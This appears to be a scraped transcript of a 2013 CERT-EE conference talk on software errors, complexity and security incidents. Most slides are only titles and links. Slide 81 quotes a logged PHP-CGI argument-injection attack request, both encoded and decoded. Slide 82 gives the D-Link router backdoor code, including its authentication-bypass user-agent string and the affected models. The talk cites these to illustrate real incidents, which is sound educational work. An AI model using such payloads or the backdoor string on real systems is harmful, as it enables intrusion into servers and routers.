Anto Rimbawanto Centre for Forest Biotechnology and Tree ...
“Software errors as the founding pillar of the modern...
Transcript of “Software errors as the founding pillar of the modern...
![Page 1: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/1.jpg)
2013-06-06, Tallinn
Anto Veldre, CERT-EE
“Software errors as the founding pillar
of the modern society”
![Page 2: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/2.jpg)
My daily work:Internet Assenisation
http://www.quickresponseplumbing.org
CERT – Computer Emergency Response Team
![Page 3: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/3.jpg)
3
NB!
Pictures' © still belong to the respective owners
Disclaimer no 1
![Page 4: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/4.jpg)
4
Many concurrent truths
http://maddy06.blogspot.com/2012/10/six-blind-men-and-elephant.html
Disclaimer no 2
![Page 5: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/5.jpg)
- a Finno-Ugric fuzz vs the corporate style- “вокруг да около”- “walk-around-a-topic & never touch the issue”- gangnam NLP style
http://kunstiveeb.blogspot.com
Disclaimer no 3
![Page 6: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/6.jpg)
6
My talkaround these topics:
1 – Engineering, complexity, Q/A2 - Bugs, incidents, scandals
3 – Modern times, e- / i- / x- society4 – Where is the society moving?
5 – Social responsibility
![Page 7: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/7.jpg)
7
Estonia
http://upload.wikimedia.org/wikipedia/commons/0/03/Kakerdaja_raba.jpg
![Page 8: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/8.jpg)
Myths: Elbonian Nokia
![Page 9: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/9.jpg)
9
The ugric mindset
![Page 10: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/10.jpg)
a) population density b) water
Warning: next 2 slides!
![Page 12: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/12.jpg)
12
Oh those Estonians :)
● 99 Estonian stereotypes– http://rs-df.com/forums/index.php?showtopic=54089
Normaalne!
![Page 13: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/13.jpg)
13
That mighty IT country Estonia!(2007)
![Page 14: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/14.jpg)
The pack has been numbered...
1984?not at all.
2014!Hmm, the chip is well hidden
on the back side
![Page 15: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/15.jpg)
Use your ID-card as a loyalty card
![Page 16: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/16.jpg)
16
Our secret weapon
– http://www.sk.ee
– http://www.id.ee
● State backed PKI● Lack of physical
offices● Full automatization
for some of the State functions
● The lifestyle● [..]
![Page 17: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/17.jpg)
17
Our secret weapon
– http://www.sk.ee
– http://www.id.ee
● State backed PKI● Lack of physical
offices● Full automatization
for some of the State functions
● The lifestyle● [..]
![Page 18: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/18.jpg)
Our life in Europe- Ca 3% of EU population speak non-indo-european languages. - The language relativism: we think differently.
- We believe in something, which is not necessarily God (Eurobarometer 2011) - not yet fully converted pagans?
![Page 19: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/19.jpg)
19http://tracemedia.co.uk/portfolio/mapping-wikipedia/
![Page 20: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/20.jpg)
We stick our noses to what/where we shouldn't
http://visualoop.com/8629/the-world-map-according-to-twitter
![Page 21: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/21.jpg)
21
Thedeveloper'sphilosophy
![Page 22: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/22.jpg)
22
![Page 23: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/23.jpg)
23
A naïve approach – Howard Longstaff
![Page 24: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/24.jpg)
24
![Page 25: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/25.jpg)
25
Technology Readiness
![Page 26: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/26.jpg)
26
System readiness
http://www.sercuarc.org/uploads/files/TR%20027_RT%2027_System%20Maturity%20and%20Architecture%20Assessment%20MPTs.pdf
![Page 28: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/28.jpg)
28
Jonathan Swift [email protected] says:http://www.warplife.com/jonathan-swift/books/software-problem/
● Software failure is fundamentally a human problem, not a technical one.
● Purely technical solutions fail to effect truly meaningful and lasting change.
– The Computer Problem,
– The Mental Problem,
– The Social Problem.
@againsthimself once tweeted:
"@sergeybratus: We are in the only technical discipline that is getting laws before textbooks.”
![Page 29: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/29.jpg)
29
Complexity
![Page 31: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/31.jpg)
31
![Page 32: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/32.jpg)
32
![Page 33: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/33.jpg)
33
![Page 34: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/34.jpg)
34http://www.galaxiki.org/web/main/_blog/all/build-your-own-nasa-apollo-landing-computer-no-kidding.shtml
![Page 35: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/35.jpg)
35
● Formally auditable:– 1000 lines of code (1kLoC)?
– 10k lines of code?
– (using some testing suite) 100k?
– Apollo 11: 145kLoC
http://en.wikipedia.org/wiki/List_of_software_bugs
![Page 36: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/36.jpg)
36http://www.itworld.com/big-datahadoop/288893/lines-code-apollo-curiosity
![Page 37: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/37.jpg)
37
http://en.wikipedia.org/wiki/Evaluation_Assurance_Level
● EAL1: Functionally Tested
● EAL2: Structurally Tested
● EAL3: Methodically Tested and Checked
● EAL4: Methodically Designed, Tested and Reviewed
● EAL5: Semiformally Designed and Tested
● EAL6: Semiformally Verified Design and Tested
● EAL7: Formally Verified Design and Tested
The pitfall: starting from EAL4, the security must be designed into the system, you cannot add it later
![Page 38: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/38.jpg)
38
Pitfall no 23 – can you afford this?
![Page 39: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/39.jpg)
Non-mature technologies...The winner takes it all !
http://theresilientearth.com/?q=content/cargo-cult-climate-science
![Page 40: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/40.jpg)
40
The Nature
![Page 41: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/41.jpg)
41
OSI 7 layers
+2 extra ;)
![Page 42: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/42.jpg)
42
Back to basics ;)
![Page 43: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/43.jpg)
43● http://www.newchrono.ru/prcv/Publ/kes-popul-eng.html
![Page 44: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/44.jpg)
44
Route 666, Speed 177• Development of technology:
– ever faster
– it is not a fashion
– it won't stop
– next events are depending on previous events
![Page 45: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/45.jpg)
45
New World Order?
![Page 46: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/46.jpg)
46
Unknowns and the amplification
These two crucial conditions:
● it is complex● the constituents are
tightly intercoupled
![Page 47: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/47.jpg)
47
2011-12-1x
– http://en.wikipedia.org/wiki/Positive_feedback
![Page 48: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/48.jpg)
48
@NicholasTaleb - 4Q, Black Swans
![Page 49: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/49.jpg)
49
Richards Heuer
● Why all the intel analysts missed the collapse of the Soviet Union?
● How does your mind work?
● Where & when can an analyst get wrong?
● Adjusting your input filter (hmm ...pink glasses)
https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/psychology-of-intelligence-analysis/index.html
![Page 50: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/50.jpg)
50
Jay Forrester - System Dynamics
![Page 51: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/51.jpg)
51
Mark Andrejevic- The Digital Enclosure
An interactive realm wherein every action and transaction generates information about itself.
![Page 52: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/52.jpg)
52
How to ...
![Page 53: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/53.jpg)
53
Suarez
![Page 54: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/54.jpg)
54
Elsberg
![Page 55: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/55.jpg)
e- / i- / x-society
![Page 57: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/57.jpg)
57
Milk'n'fuel paradigm
http://y.delfi.ee/norm/102149/4987007_FZJEkH.jpeg
![Page 58: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/58.jpg)
58
Who is the adversary?Is he thinking?
![Page 59: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/59.jpg)
59
Who's the adversary? 2
![Page 60: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/60.jpg)
60
Is there an adversary at all?
?
![Page 61: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/61.jpg)
61
Really???
![Page 62: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/62.jpg)
62
![Page 63: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/63.jpg)
63
![Page 64: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/64.jpg)
64
News from Bahrein
![Page 65: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/65.jpg)
http://www.theregister.co.uk/2013/08/12/spy_bins_scrapped_from_london_streets/
![Page 66: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/66.jpg)
66http://www.youtube.com/watch?v=SNPJMk2fgJU
Quadrotor with machine gun
![Page 67: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/67.jpg)
67
bugserrorsfaults
How and why?
![Page 68: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/68.jpg)
68
EXFAC03-AAS
http://www.uio.no/studier/emner/hf/ikos/EXFAC03-AAS/h05/larestoff/linguistics/
![Page 69: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/69.jpg)
69
EXFAC03-AAS
http://www.uio.no/studier/emner/hf/ikos/EXFAC03-AAS/h05/larestoff/linguistics/
![Page 70: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/70.jpg)
70
Optical cheats / illusions
![Page 71: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/71.jpg)
71
Optical illusions
![Page 72: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/72.jpg)
72
Optical illusions - bubbling
![Page 73: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/73.jpg)
73
The reality
![Page 74: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/74.jpg)
74
Spy phones & spy TV sets● S3 memory dev writable - /dev/exynos-mem
– http://forum.xda-developers.com/showthread.php?p=35469999#post35469999
●
http://doctorbeet.blogspot.com/2013/11/lg-smart-tvs-logging-usb-filenames-and.html
![Page 75: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/75.jpg)
75http://obamapacman.com/2013/07/r2b2-android-phone-pin-hacking-robot/
![Page 76: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/76.jpg)
76
Mifare vs ID brokerage
![Page 78: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/78.jpg)
78
Independent researchers
● Satan votes at the internet?– Reproducibility?– https://www.ria.ee/e-voting-is-too-secure/
![Page 79: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/79.jpg)
79
http://www.theregister.co.uk/2007/02/28/f22s_working_again/
http://en.wikipedia.org/wiki/List_of_software_bugs
![Page 80: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/80.jpg)
80
1989
http://en.wikipedia.org/wiki/Phobos_program
1999
http://en.wikipedia.org/wiki/Mars_Polar_Lander
![Page 81: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/81.jpg)
81
PHP5 CGI
● 111.111.111.111 - - [11/Nov/2013:11:11:11 +0200] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 226 "-" "-"
● cgin/php?-d aluon -d mod -d suhon=on -d uncts="" -d dne -d auto_pr%t -d cgi.force_redirect=0 -d t_=0 -d ut -n
http://www.string-functions.com/urldecode.aspx
![Page 82: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/82.jpg)
82
D-Link
{
if(strstr(request->url, "graphic/") ||
strstr(request->url, "public/") ||
strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
{
return AUTH_OK;
}
}
DIR-100
DI-524
DI-524UP
DI-604S
DI-604UP
DI-604+
TM-G5240
DIR-615
http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/+WPS
![Page 83: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/83.jpg)
83http://www.infosecurity-magazine.com/view/37266/cymru-discovers-300000-compromised-home-routers/
SoHo: @routerpwn rom-0
http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/
![Page 84: “Software errors as the founding pillar of the modern society”nordictestingdays.eu/files/files/anto-045.pdf2013-06-06, Tallinn Anto Veldre, CERT-EE “Software errors as the founding](https://reader036.fdocuments.us/reader036/viewer/2022070705/5e97e9a7260e8865957c9ab6/html5/thumbnails/84.jpg)
84
OpenX backdoor
